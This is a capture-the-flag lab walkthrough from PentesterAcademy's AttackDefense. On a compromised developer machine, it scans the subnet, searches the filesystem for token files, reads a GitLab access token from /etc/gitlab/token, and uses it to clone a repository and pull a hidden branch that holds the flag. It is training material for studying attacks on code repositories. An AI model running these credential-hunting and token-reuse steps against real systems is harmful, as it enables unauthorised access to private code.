
ATTACK
DEFENSE
by PentesterAcademy

Name	Compromised Developer Machine II
URL	https://www.attackdefense.com/challengedetails?cid=1042
Type	Code Repositories : Git

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Step 1: We can observe a project directory on the home directory of root user. On checking the contents, this gives us a hint about the name of code repository and username.

Command: cd projects/root/my-project/

```
root@attackdefense:~# cd projects/root/my-project/
root@attackdefense:~/projects/root/my-project# ls -l
total 132
-rw-r--r-- 1 root root  8703 May 16 18:19 README
-rw-r--r-- 1 root root 40563 May 16 18:19 functions.php
-rw-r--r-- 1 root root 57739 May 16 18:19 index.php
drwxr-xr-x 2 root root  4096 May 16 18:19 js
-rw-r--r-- 1 root root  5265 May 16 18:19 mobile.css
-rw-r--r-- 1 root root  5758 May 16 18:19 style.css
root@attackdefense:~/projects/root/my-project#
```

Step 2: Check the IP address of our machine and scan the target machines/subnet.

```
root@attackdefense:/# nmap 192.87.224.3-5

Starting Nmap 7.60 ( https://nmap.org ) at 2019-05-17 05:43 UTC
Nmap scan report for gitlab (192.87.224.3)
Host is up (0.000041s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:42:C0:A5:2B:03 (Unknown)

Nmap done: 3 IP addresses (1 host up) scanned in 1.73 seconds
root@attackdefense:/#
```

Step 3: From last step, we know that the other machine is running SSH and HTTP service. As per the lab statement, this is the code repository system.

Developers use SSH keys or tokens to make pull/push activity easier. If we look for SSH keys, we won't find any. Hence, search for token file on the system.

Command: find / -name *token* 2>/dev/null

```
root@attackdefense:~/projects/root#
root@attackdefense:~/projects/root# find / -name *token* 2>/dev/null
/etc/gitlab/token
/usr/lib/python3.6/token.py
/usr/lib/python3.6/tokenize.py
^C
root@attackdefense:~/projects/root#
root@attackdefense:~/projects/root#
root@attackdefense:~/projects/root# cat /etc/gitlab/token
3Xw-3TjVCvyuoJHex58y
root@attackdefense:~/projects/root#
```

Step 3: We can delete the existing directory and clone a new copy of the same project from remote server using the found token. This token is an Access Token for Gitlab system and can be provided as password.

```
root@attackdefense:~/projects/root# rm -rf my-project/
root@attackdefense:~/projects/root#
root@attackdefense:~/projects/root# git clone http://192.87.224.3/root/my-project.git
Cloning into 'my-project'...
Username for 'http://192.87.224.3': root
Password for 'http://root@192.87.224.3':
remote: Enumerating objects: 17, done.
remote: Counting objects: 100% (17/17), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 17 (delta 2), reused 0 (delta 0)
Unpacking objects: 100% (17/17), done.
root@attackdefense:~/projects/root#
```

Step 5: We can't find any flags even in the cloned directory. List the other branches of this repository.

```
root@attackdefense:~/projects/root/my-project#
root@attackdefense:~/projects/root/my-project# git branch -a
* master
  remotes/origin/HEAD -> origin/master
  remotes/origin/beta
  remotes/origin/master
root@attackdefense:~/projects/root/my-project#
```

Step 5: From last step, we can observe another branch named beta. Checkout that branch and pull it.

Commands:
git checkout -b beta
git pull origin beta

```
root@attackdefense:~/projects/root/my-project# git checkout -b beta
Switched to a new branch 'beta'
root@attackdefense:~/projects/root/my-project# git pull origin beta
Username for 'http://192.87.224.3': root
Password for 'http://root@192.87.224.3':
From http://192.87.224.3/root/my-project
 * branch            beta       -> FETCH_HEAD
Updating d013f44..c5bb45d
Fast-forward
 flag.txt | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 flag.txt
root@attackdefense:~/projects/root/my-project#
```

A new file named flag.txt was pulled for this branch which will reveal the flag.

Command: cat flag.txt

```
root@attackdefense:~/projects/root/my-project# cat flag.txt
25b13816154f9fb51b7cc508bdf419d1root@attackdefense:~/projects/root/my-project#
root@attackdefense:~/projects/root/my-project#
```

Flag: 25b13816154f9fb51b7cc508bdf419d1

References:

1. Docker (https://www.docker.com/)
2. Omnibus Gitlab (https://github.com/gitlabhq/omnibus-gitlab)